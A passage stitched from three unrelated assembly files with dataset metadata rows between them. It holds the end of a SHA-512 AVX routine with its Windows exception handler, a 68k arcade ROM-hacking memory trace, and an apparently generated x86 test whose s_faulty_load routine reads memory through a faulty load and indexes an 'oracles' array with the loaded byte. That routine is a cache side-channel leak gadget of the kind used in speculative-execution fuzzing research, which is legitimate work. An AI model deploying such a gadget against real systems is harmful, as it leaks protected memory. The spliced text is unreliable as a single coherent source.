xor r14,r8
add rdx,r13
vpxor xmm8,xmm8,xmm10
xor rdi,r9
shrd r14,r14,28
vpsrlq xmm11,xmm5,6
add r11,rdx
add rdx,rdi
vpxor xmm8,xmm8,xmm9
mov r13,r11
add r14,rdx
vpsllq xmm10,xmm5,3
shrd r13,r13,23
mov rdx,r14
vpaddq xmm6,xmm6,xmm8
mov r12,rax
shrd r14,r14,5
vpsrlq xmm9,xmm5,19
xor r13,r11
xor r12,rbx
vpxor xmm11,xmm11,xmm10
shrd r13,r13,4
xor r14,rdx
vpsllq xmm10,xmm10,42
and r12,r11
xor r13,r11
vpxor xmm11,xmm11,xmm9
add rcx,QWORD[104+rsp]
mov rdi,rdx
vpsrlq xmm9,xmm9,42
xor r12,rbx
shrd r14,r14,6
vpxor xmm11,xmm11,xmm10
xor rdi,r8
add rcx,r12
vpxor xmm11,xmm11,xmm9
shrd r13,r13,14
and r15,rdi
vpaddq xmm6,xmm6,xmm11
xor r14,rdx
add rcx,r13
vpaddq xmm10,xmm6,XMMWORD[64+rbp]
xor r15,r8
shrd r14,r14,28
add r10,rcx
add rcx,r15
mov r13,r10
add r14,rcx
vmovdqa XMMWORD[96+rsp],xmm10
vpalignr xmm8,xmm0,xmm7,8
shrd r13,r13,23
mov rcx,r14
vpalignr xmm11,xmm4,xmm3,8
mov r12,r11
shrd r14,r14,5
vpsrlq xmm10,xmm8,1
xor r13,r10
xor r12,rax
vpaddq xmm7,xmm7,xmm11
shrd r13,r13,4
xor r14,rcx
vpsrlq xmm11,xmm8,7
and r12,r10
xor r13,r10
vpsllq xmm9,xmm8,56
add rbx,QWORD[112+rsp]
mov r15,rcx
vpxor xmm8,xmm11,xmm10
xor r12,rax
shrd r14,r14,6
vpsrlq xmm10,xmm10,7
xor r15,rdx
add rbx,r12
vpxor xmm8,xmm8,xmm9
shrd r13,r13,14
and rdi,r15
vpsllq xmm9,xmm9,7
xor r14,rcx
add rbx,r13
vpxor xmm8,xmm8,xmm10
xor rdi,rdx
shrd r14,r14,28
vpsrlq xmm11,xmm6,6
add r9,rbx
add rbx,rdi
vpxor xmm8,xmm8,xmm9
mov r13,r9
add r14,rbx
vpsllq xmm10,xmm6,3
shrd r13,r13,23
mov rbx,r14
vpaddq xmm7,xmm7,xmm8
mov r12,r10
shrd r14,r14,5
vpsrlq xmm9,xmm6,19
xor r13,r9
xor r12,r11
vpxor xmm11,xmm11,xmm10
shrd r13,r13,4
xor r14,rbx
vpsllq xmm10,xmm10,42
and r12,r9
xor r13,r9
vpxor xmm11,xmm11,xmm9
add rax,QWORD[120+rsp]
mov rdi,rbx
vpsrlq xmm9,xmm9,42
xor r12,r11
shrd r14,r14,6
vpxor xmm11,xmm11,xmm10
xor rdi,rcx
add rax,r12
vpxor xmm11,xmm11,xmm9
shrd r13,r13,14
and r15,rdi
vpaddq xmm7,xmm7,xmm11
xor r14,rbx
add rax,r13
vpaddq xmm10,xmm7,XMMWORD[96+rbp]
xor r15,rcx
shrd r14,r14,28
add r8,rax
add rax,r15
mov r13,r8
add r14,rax
vmovdqa XMMWORD[112+rsp],xmm10
cmp BYTE[135+rbp],0
jne NEAR $L$avx_00_47
shrd r13,r13,23
mov rax,r14
mov r12,r9
shrd r14,r14,5
xor r13,r8
xor r12,r10
shrd r13,r13,4
xor r14,rax
and r12,r8
xor r13,r8
add r11,QWORD[rsp]
mov r15,rax
xor r12,r10
shrd r14,r14,6
xor r15,rbx
add r11,r12
shrd r13,r13,14
and rdi,r15
xor r14,rax
add r11,r13
xor rdi,rbx
shrd r14,r14,28
add rdx,r11
add r11,rdi
mov r13,rdx
add r14,r11
shrd r13,r13,23
mov r11,r14
mov r12,r8
shrd r14,r14,5
xor r13,rdx
xor r12,r9
shrd r13,r13,4
xor r14,r11
and r12,rdx
xor r13,rdx
add r10,QWORD[8+rsp]
mov rdi,r11
xor r12,r9
shrd r14,r14,6
xor rdi,rax
add r10,r12
shrd r13,r13,14
and r15,rdi
xor r14,r11
add r10,r13
xor r15,rax
shrd r14,r14,28
add rcx,r10
add r10,r15
mov r13,rcx
add r14,r10
shrd r13,r13,23
mov r10,r14
mov r12,rdx
shrd r14,r14,5
xor r13,rcx
xor r12,r8
shrd r13,r13,4
xor r14,r10
and r12,rcx
xor r13,rcx
add r9,QWORD[16+rsp]
mov r15,r10
xor r12,r8
shrd r14,r14,6
xor r15,r11
add r9,r12
shrd r13,r13,14
and rdi,r15
xor r14,r10
add r9,r13
xor rdi,r11
shrd r14,r14,28
add rbx,r9
add r9,rdi
mov r13,rbx
add r14,r9
shrd r13,r13,23
mov r9,r14
mov r12,rcx
shrd r14,r14,5
xor r13,rbx
xor r12,rdx
shrd r13,r13,4
xor r14,r9
and r12,rbx
xor r13,rbx
add r8,QWORD[24+rsp]
mov rdi,r9
xor r12,rdx
shrd r14,r14,6
xor rdi,r10
add r8,r12
shrd r13,r13,14
and r15,rdi
xor r14,r9
add r8,r13
xor r15,r10
shrd r14,r14,28
add rax,r8
add r8,r15
mov r13,rax
add r14,r8
shrd r13,r13,23
mov r8,r14
mov r12,rbx
shrd r14,r14,5
xor r13,rax
xor r12,rcx
shrd r13,r13,4
xor r14,r8
and r12,rax
xor r13,rax
add rdx,QWORD[32+rsp]
mov r15,r8
xor r12,rcx
shrd r14,r14,6
xor r15,r9
add rdx,r12
shrd r13,r13,14
and rdi,r15
xor r14,r8
add rdx,r13
xor rdi,r9
shrd r14,r14,28
add r11,rdx
add rdx,rdi
mov r13,r11
add r14,rdx
shrd r13,r13,23
mov rdx,r14
mov r12,rax
shrd r14,r14,5
xor r13,r11
xor r12,rbx
shrd r13,r13,4
xor r14,rdx
and r12,r11
xor r13,r11
add rcx,QWORD[40+rsp]
mov rdi,rdx
xor r12,rbx
shrd r14,r14,6
xor rdi,r8
add rcx,r12
shrd r13,r13,14
and r15,rdi
xor r14,rdx
add rcx,r13
xor r15,r8
shrd r14,r14,28
add r10,rcx
add rcx,r15
mov r13,r10
add r14,rcx
shrd r13,r13,23
mov rcx,r14
mov r12,r11
shrd r14,r14,5
xor r13,r10
xor r12,rax
shrd r13,r13,4
xor r14,rcx
and r12,r10
xor r13,r10
add rbx,QWORD[48+rsp]
mov r15,rcx
xor r12,rax
shrd r14,r14,6
xor r15,rdx
add rbx,r12
shrd r13,r13,14
and rdi,r15
xor r14,rcx
add rbx,r13
xor rdi,rdx
shrd r14,r14,28
add r9,rbx
add rbx,rdi
mov r13,r9
add r14,rbx
shrd r13,r13,23
mov rbx,r14
mov r12,r10
shrd r14,r14,5
xor r13,r9
xor r12,r11
shrd r13,r13,4
xor r14,rbx
and r12,r9
xor r13,r9
add rax,QWORD[56+rsp]
mov rdi,rbx
xor r12,r11
shrd r14,r14,6
xor rdi,rcx
add rax,r12
shrd r13,r13,14
and r15,rdi
xor r14,rbx
add rax,r13
xor r15,rcx
shrd r14,r14,28
add r8,rax
add rax,r15
mov r13,r8
add r14,rax
shrd r13,r13,23
mov rax,r14
mov r12,r9
shrd r14,r14,5
xor r13,r8
xor r12,r10
shrd r13,r13,4
xor r14,rax
and r12,r8
xor r13,r8
add r11,QWORD[64+rsp]
mov r15,rax
xor r12,r10
shrd r14,r14,6
xor r15,rbx
add r11,r12
shrd r13,r13,14
and rdi,r15
xor r14,rax
add r11,r13
xor rdi,rbx
shrd r14,r14,28
add rdx,r11
add r11,rdi
mov r13,rdx
add r14,r11
shrd r13,r13,23
mov r11,r14
mov r12,r8
shrd r14,r14,5
xor r13,rdx
xor r12,r9
shrd r13,r13,4
xor r14,r11
and r12,rdx
xor r13,rdx
add r10,QWORD[72+rsp]
mov rdi,r11
xor r12,r9
shrd r14,r14,6
xor rdi,rax
add r10,r12
shrd r13,r13,14
and r15,rdi
xor r14,r11
add r10,r13
xor r15,rax
shrd r14,r14,28
add rcx,r10
add r10,r15
mov r13,rcx
add r14,r10
shrd r13,r13,23
mov r10,r14
mov r12,rdx
shrd r14,r14,5
xor r13,rcx
xor r12,r8
shrd r13,r13,4
xor r14,r10
and r12,rcx
xor r13,rcx
add r9,QWORD[80+rsp]
mov r15,r10
xor r12,r8
shrd r14,r14,6
xor r15,r11
add r9,r12
shrd r13,r13,14
and rdi,r15
xor r14,r10
add r9,r13
xor rdi,r11
shrd r14,r14,28
add rbx,r9
add r9,rdi
mov r13,rbx
add r14,r9
shrd r13,r13,23
mov r9,r14
mov r12,rcx
shrd r14,r14,5
xor r13,rbx
xor r12,rdx
shrd r13,r13,4
xor r14,r9
and r12,rbx
xor r13,rbx
add r8,QWORD[88+rsp]
mov rdi,r9
xor r12,rdx
shrd r14,r14,6
xor rdi,r10
add r8,r12
shrd r13,r13,14
and r15,rdi
xor r14,r9
add r8,r13
xor r15,r10
shrd r14,r14,28
add rax,r8
add r8,r15
mov r13,rax
add r14,r8
shrd r13,r13,23
mov r8,r14
mov r12,rbx
shrd r14,r14,5
xor r13,rax
xor r12,rcx
shrd r13,r13,4
xor r14,r8
and r12,rax
xor r13,rax
add rdx,QWORD[96+rsp]
mov r15,r8
xor r12,rcx
shrd r14,r14,6
xor r15,r9
add rdx,r12
shrd r13,r13,14
and rdi,r15
xor r14,r8
add rdx,r13
xor rdi,r9
shrd r14,r14,28
add r11,rdx
add rdx,rdi
mov r13,r11
add r14,rdx
shrd r13,r13,23
mov rdx,r14
mov r12,rax
shrd r14,r14,5
xor r13,r11
xor r12,rbx
shrd r13,r13,4
xor r14,rdx
and r12,r11
xor r13,r11
add rcx,QWORD[104+rsp]
mov rdi,rdx
xor r12,rbx
shrd r14,r14,6
xor rdi,r8
add rcx,r12
shrd r13,r13,14
and r15,rdi
xor r14,rdx
add rcx,r13
xor r15,r8
shrd r14,r14,28
add r10,rcx
add rcx,r15
mov r13,r10
add r14,rcx
shrd r13,r13,23
mov rcx,r14
mov r12,r11
shrd r14,r14,5
xor r13,r10
xor r12,rax
shrd r13,r13,4
xor r14,rcx
and r12,r10
xor r13,r10
add rbx,QWORD[112+rsp]
mov r15,rcx
xor r12,rax
shrd r14,r14,6
xor r15,rdx
add rbx,r12
shrd r13,r13,14
and rdi,r15
xor r14,rcx
add rbx,r13
xor rdi,rdx
shrd r14,r14,28
add r9,rbx
add rbx,rdi
mov r13,r9
add r14,rbx
shrd r13,r13,23
mov rbx,r14
mov r12,r10
shrd r14,r14,5
xor r13,r9
xor r12,r11
shrd r13,r13,4
xor r14,rbx
and r12,r9
xor r13,r9
add rax,QWORD[120+rsp]
mov rdi,rbx
xor r12,r11
shrd r14,r14,6
xor rdi,rcx
add rax,r12
shrd r13,r13,14
and r15,rdi
xor r14,rbx
add rax,r13
xor r15,rcx
shrd r14,r14,28
add r8,rax
add rax,r15
mov r13,r8
add r14,rax
mov rdi,QWORD[((128+0))+rsp]
mov rax,r14
add rax,QWORD[rdi]
lea rsi,[128+rsi]
add rbx,QWORD[8+rdi]
add rcx,QWORD[16+rdi]
add rdx,QWORD[24+rdi]
add r8,QWORD[32+rdi]
add r9,QWORD[40+rdi]
add r10,QWORD[48+rdi]
add r11,QWORD[56+rdi]
cmp rsi,QWORD[((128+16))+rsp]
mov QWORD[rdi],rax
mov QWORD[8+rdi],rbx
mov QWORD[16+rdi],rcx
mov QWORD[24+rdi],rdx
mov QWORD[32+rdi],r8
mov QWORD[40+rdi],r9
mov QWORD[48+rdi],r10
mov QWORD[56+rdi],r11
jb NEAR $L$loop_avx
mov rsi,QWORD[152+rsp]
vzeroupper
movaps xmm6,XMMWORD[((128+32))+rsp]
movaps xmm7,XMMWORD[((128+48))+rsp]
movaps xmm8,XMMWORD[((128+64))+rsp]
movaps xmm9,XMMWORD[((128+80))+rsp]
movaps xmm10,XMMWORD[((128+96))+rsp]
movaps xmm11,XMMWORD[((128+112))+rsp]
mov r15,QWORD[((-48))+rsi]
mov r14,QWORD[((-40))+rsi]
mov r13,QWORD[((-32))+rsi]
mov r12,QWORD[((-24))+rsi]
mov rbp,QWORD[((-16))+rsi]
mov rbx,QWORD[((-8))+rsi]
lea rsp,[rsi]
$L$epilogue_avx:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_GFp_sha512_block_data_order_avx:
EXTERN __imp_RtlVirtualUnwind
ALIGN 16
se_handler:
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD[120+r8]
mov rbx,QWORD[248+r8]
mov rsi,QWORD[8+r9]
mov r11,QWORD[56+r9]
mov r10d,DWORD[r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
jb NEAR $L$in_prologue
mov rax,QWORD[152+r8]
mov r10d,DWORD[4+r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
jae NEAR $L$in_prologue
mov rsi,rax
mov rax,QWORD[((128+24))+rax]
mov rbx,QWORD[((-8))+rax]
mov rbp,QWORD[((-16))+rax]
mov r12,QWORD[((-24))+rax]
mov r13,QWORD[((-32))+rax]
mov r14,QWORD[((-40))+rax]
mov r15,QWORD[((-48))+rax]
mov QWORD[144+r8],rbx
mov QWORD[160+r8],rbp
mov QWORD[216+r8],r12
mov QWORD[224+r8],r13
mov QWORD[232+r8],r14
mov QWORD[240+r8],r15
lea r10,[$L$epilogue]
cmp rbx,r10
jb NEAR $L$in_prologue
lea rsi,[((128+32))+rsi]
lea rdi,[512+r8]
mov ecx,12
DD 0xa548f3fc
$L$in_prologue:
mov rdi,QWORD[8+rax]
mov rsi,QWORD[16+rax]
mov QWORD[152+r8],rax
mov QWORD[168+r8],rsi
mov QWORD[176+r8],rdi
mov rdi,QWORD[40+r9]
mov rsi,r8
mov ecx,154
DD 0xa548f3fc
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD[8+rsi]
mov r8,QWORD[rsi]
mov r9,QWORD[16+rsi]
mov r10,QWORD[40+rsi]
lea r11,[56+rsi]
lea r12,[24+rsi]
mov QWORD[32+rsp],r10
mov QWORD[40+rsp],r11
mov QWORD[48+rsp],r12
mov QWORD[56+rsp],rcx
call QWORD[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
section .pdata rdata align=4
ALIGN 4
DD $L$SEH_begin_GFp_sha512_block_data_order wrt ..imagebase
DD $L$SEH_end_GFp_sha512_block_data_order wrt ..imagebase
DD $L$SEH_info_GFp_sha512_block_data_order wrt ..imagebase
DD $L$SEH_begin_GFp_sha512_block_data_order_avx wrt ..imagebase
DD $L$SEH_end_GFp_sha512_block_data_order_avx wrt ..imagebase
DD $L$SEH_info_GFp_sha512_block_data_order_avx wrt ..imagebase
section .xdata rdata align=8
ALIGN 8
$L$SEH_info_GFp_sha512_block_data_order:
DB 9,0,0,0
DD se_handler wrt ..imagebase
DD $L$prologue wrt ..imagebase,$L$epilogue wrt ..imagebase
$L$SEH_info_GFp_sha512_block_data_order_avx:
DB 9,0,0,0
DD se_handler wrt ..imagebase
DD $L$prologue_avx wrt ..imagebase,$L$epilogue_avx wrt ..imagebase
| 14.441964 | 76 | 0.709384 | [
"Apache-2.0"
] | 10allday-kai/api-daemon | third-party/ring/pregenerated/tmp/sha512-x86_64-nasm.asm | 45,290 | Assembly |
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
001248 move.l D2, ($2c,A6)
00124C tst.w D0 [enemy+2C, enemy+2E, etc+2C, etc+2E, item+2C, item+2E]
001298 move.l D2, ($2c,A6)
00129C tst.w D0 [enemy+2C, enemy+2E, item+2C, item+2E]
0016D2 move.l D1, ($2c,A6)
0016D6 or.w D0, D0 [enemy+2C, enemy+2E, etc+2C, etc+2E]
004D3E move.l D0, (A4)+
004D40 dbra D1, $4d38
01088A move.b ($2e,A3), D2
01088E move.w ($e,PC,D2.w), D2 [enemy+2E]
0108DE move.b #$e, ($2e,A3) [enemy+ 4, enemy+ 6]
0108E4 move.b ($2,A2), ($2,A3) [enemy+2E]
010940 cmpi.b #$a, ($2e,A3)
010946 beq $1095a [enemy+2E]
01099E move.b ($2e,A3), D2
0109A2 move.w ($e,PC,D2.w), D2 [enemy+2E]
010FDA move.b ($2e,A3), D0
010FDE move.w ($12,PC,D0.w), D0 [enemy+2E]
01136E move.b ($2e,A3), D0
011372 move.w ($12,PC,D0.w), D0 [enemy+2E]
0115E6 move.b ($2e,A2), D0
0115EA move.w ($12,PC,D0.w), D0 [enemy+2E]
0118B2 move.b ($2e,A3), D2
0118B6 move.w ($8,PC,D2.w), D2 [enemy+2E]
011B14 move.b ($2e,A3), D2
011B18 move.w ($c,PC,D2.w), D2 [enemy+2E]
011CFE cmpi.b #$4, ($2e,A2)
011D04 bne $11d2a [enemy+2E]
011E68 cmpi.b #$4, ($2e,A2)
011E6E bne $11e9a [enemy+2E]
011EBE move.b ($2e,A3), D2
011EC2 move.w ($8,PC,D2.w), D2 [enemy+2E]
012052 move.b ($2e,A2), D0
012056 move.w ($12,PC,D0.w), D0 [enemy+2E]
012214 move.b ($2e,A3), D2
012218 move.w ($c,PC,D2.w), D2 [enemy+2E]
01237E move.b ($2e,A3), D2
012382 move.w ($c,PC,D2.w), D2 [enemy+2E]
012472 cmpi.b #$4, ($2e,A2)
012478 bne $124a0 [enemy+2E]
014202 cmpi.b #$c, ($2e,A0)
014208 bne $14226 [123p+ 2E, enemy+2E, item+2E]
014218 cmpi.b #$e, ($2e,A1)
01421E bne $14226 [123p+ 2E, enemy+2E]
016D0E cmpi.b #$a, ($2e,A2)
016D14 bne $16d28 [enemy+2E]
01D6A0 cmpi.b #$e, ($2e,A0) [123p+ 70]
01D6A6 bne $1d72a [enemy+2E]
02B92A cmpi.b #$4, ($2e,A3)
02B930 bne $2b952 [enemy+2E]
02BA3E cmpi.b #$4, ($2e,A3)
02BA44 bne $2ba66 [enemy+2E]
093002 cmpi.b #$a, ($2e,A0)
093008 bne $9308a [enemy+2E]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
| 52.125 | 350 | 0.624833 | [
"Apache-2.0"
] | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | dino/lcs/enemy/2E.asm | 3,753 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1106c, %r11
nop
and %rax, %rax
mov (%r11), %r14w
nop
nop
nop
nop
cmp $57959, %r13
lea addresses_WT_ht+0x316b, %rdi
and %r9, %r9
mov (%rdi), %rbp
nop
inc %r9
lea addresses_WC_ht+0x1b46b, %rax
nop
cmp %r14, %r14
mov (%rax), %r11w
nop
nop
and $61818, %r11
lea addresses_D_ht+0x1e26b, %rsi
lea addresses_A_ht+0x1b80b, %rdi
nop
xor $45496, %r14
mov $93, %rcx
rep movsl
nop
xor $26260, %rcx
lea addresses_WC_ht+0xac9a, %rdi
nop
nop
nop
nop
nop
cmp %r13, %r13
mov (%rdi), %si
nop
nop
xor %rcx, %rcx
lea addresses_WT_ht+0x1986b, %r9
clflush (%r9)
nop
nop
cmp $36748, %r14
movl $0x61626364, (%r9)
nop
nop
xor %r13, %r13
lea addresses_D_ht+0x3c87, %r13
nop
nop
nop
cmp $8353, %rax
movw $0x6162, (%r13)
add %r9, %r9
lea addresses_WT_ht+0x7c6b, %rsi
lea addresses_UC_ht+0x1756b, %rdi
nop
add %r14, %r14
mov $100, %rcx
rep movsb
sub $14799, %rbp
lea addresses_A_ht+0x1646b, %r13
cmp %rsi, %rsi
mov $0x6162636465666768, %r14
movq %r14, %xmm5
vmovups %ymm5, (%r13)
nop
add %rcx, %rcx
lea addresses_normal_ht+0xa86b, %rcx
nop
and $25726, %r9
mov (%rcx), %rax
nop
nop
nop
nop
add $49657, %rcx
lea addresses_UC_ht+0x1634b, %r13
nop
add %rsi, %rsi
movb $0x61, (%r13)
nop
nop
dec %rsi
lea addresses_WT_ht+0x1486b, %rsi
lea addresses_WC_ht+0xc86b, %rdi
clflush (%rdi)
nop
add $48824, %rbp
mov $66, %rcx
rep movsb
nop
nop
nop
and $4141, %rsi
lea addresses_UC_ht+0x817f, %r11
nop
nop
cmp %rdi, %rdi
mov (%r11), %r13d
nop
nop
sub $54875, %rbp
lea addresses_UC_ht+0x406b, %r13
sub $4276, %r9
mov (%r13), %ebp
nop
xor %rcx, %rcx
lea addresses_UC_ht+0x1472b, %rsi
lea addresses_A_ht+0x1206b, %rdi
clflush (%rsi)
nop
nop
nop
sub %rax, %rax
mov $49, %rcx
rep movsq
nop
nop
nop
nop
add $64481, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %rax
push %rbx
push %rdx
// Store
lea addresses_A+0x129db, %rdx
nop
nop
nop
nop
dec %rax
movb $0x51, (%rdx)
nop
nop
nop
nop
sub $26491, %r12
// Store
lea addresses_WC+0x1928b, %rbx
and %r8, %r8
movb $0x51, (%rbx)
nop
xor $32874, %r8
// Faulty Load
lea addresses_US+0xb46b, %rax
nop
nop
nop
nop
add %rdx, %rdx
vmovaps (%rax), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r11
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %rdx
pop %rbx
pop %rax
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'08': 68, '72': 69, '00': 269, '49': 987, '04': 1, '46': 20435}
04 46 46 46 46 46 00 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 08 08 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 49 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 49 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 00 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 49 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 49 49 49 49 49 49 49 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 00 46 46 46 46 00 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 72 72 72 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 49 49 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 46 46 46 46 46 00 46 46 46 46 00 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 